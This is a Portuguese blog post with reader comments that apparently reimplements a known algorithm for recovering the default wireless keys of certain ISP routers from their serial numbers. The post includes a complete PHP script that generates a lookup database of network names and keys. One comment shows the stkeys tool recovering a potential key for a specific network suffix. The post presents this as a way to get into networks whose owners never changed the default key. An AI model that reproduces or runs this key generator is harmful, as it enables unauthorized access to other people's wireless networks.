Algoritmos, chaves WEP e WPA e routers "baratos"...
Olá a todos,
Ontem confesso que não me estava a sentir muito bem-disposto por isso resolvi implementar um algoritmo que encontrei nas internetes sobre como descobrir as chaves predefinidas dos routers de alguns provedores… Aqui vai:
Certamente o leitor já se deverá ter deparado com algumas redes wireless com o nome “Toquerapido30A428” ou “Marca49F90B” e afins… Geralmente os detentores das referidas redes por ignorância ou por solidariedade não alteram as chaves que vêm por defeito nos routers. O que este algoritmo pretende fazer é exactamente isso. Gerar as chaves predefinidas desses routers.
De acordo com o blog “fodi.me”, o algoritmo é o seguinte:
O número de série dos routers em questão é precisamente a base para todo o processo. Exemplificando:
CP YY WW PP XXX
Em que:
YY - Ano de Fabrico
WW – Semana de Fabrico
PP – Código do Produto
XXX - Desconhecido
O algoritmo passa por numa primeira fase gerarmos todos os números de série possíveis que nos interessarem, tendo em conta o ano e a semana de fabrico. O valor XXX (desconhecido) oscila entre AAA e 999, pelo que será necessário também gerar-se essa sequência. Uma vez gerada, adiciona-se essa string ao final de cada número de série. Seguidamente, passamo-la para hexadecimal. Posto isto, a cada número de série calculamos o hash sha1 do router: exemplo dado pelo fodi.me: CP0817314142 –> bc8c18aec9e740c37be79e7f2058c50fd922e4bb
Daqui, os primeiros 10 caracteres referenciam a chave de rede (necessário colocar em uppercase) e os últimos seis, o nome da rede, precedido pelo nome do fabricante: “Toquerapido22e4bb”.
A implementação em php para gerar as chaves é relativamente simples:
<?
function ascii2hex($ascii) {
$hexadecimal = '';
for ($i = 0; $i < strlen($ascii); $i++) {
$byte = strtoupper(dechex(ord($ascii{$i})));
$byte = str_repeat('0', 2 - strlen($byte)).$byte;
$hexadecimal.=$byte;
}
return $hexadecimal;
}
$dicionario = file('/Users/gatuno/wpa-wep/dic.lst');
for($ano=4; $ano<=11; $ano++)
{
if($ano<10)
{
$year = '0'.$ano;
}
else{
$year = $ano;
}
for($semana=1; $semana<=52; $semana++)
{
if($semana<10)
{
$week='0'.$semana;
}
else{
$week=$semana;
}
foreach($dicionario as $numLinhaDic => $linha)
{
$hex = ascii2hex(substr($linha,0,3));
$hash = sha1("CP$year$week$hex");
$chave = substr($hash,0,10);
$rede = substr($hash,-6);
echo $rede;
echo ' '.$chave."\n";
}
}
}
?>
o ficheiro dic.lst apresenta apenas uma listagem igual à proposta pelo website.
# php -f gerador.php > redes
Apartir daí, para colocarmos esta listagem numa base de dados é trivial… O meu MBP 2.53 levou cerca de 4 minutos a gerar isto, totalizando uma base de dados de cerca de 400 MB :)
No entanto, é de louvar quem descobriu isto!Eu sou um mero “implementador”.. :)
7 comentários a “Algoritmos, chaves WEP e WPA e routers "baratos"...”
e de repente, ja ninguem quer saber do que falas. MAC IS GAY LOL!
No meu gadget demoro cerca de 2 min a ter as ditas chaves disponiveis:
[code]
~ $ time stkeys a7f408
[*] Generating keys for 2004
[*] Generating keys for 2005
[*] Generating keys for 2006
[*] Generating keys for 2007
[*] Generating keys for 2008
[*] Generating keys for 2009
[+] Serial Number: CP0913**4NA - potential key = 7F3F86E9C9
[*] Seconds elapsed:130 - keys per second:111974
real 2m 9.39s
user 2m 7.14s
sys 0m 0.00s
~ $
[/code]
stkeys é feliz no n900!
obrigado pelo comentário (construtivo)! :)
por acaso não conhecia esse programa... mas agora deste-me a ideia de fazer uma coisa semelhante para J2ME ou Symbian! Isto, se já não existir... :P
http://code.google.com/p/wifipassreminder/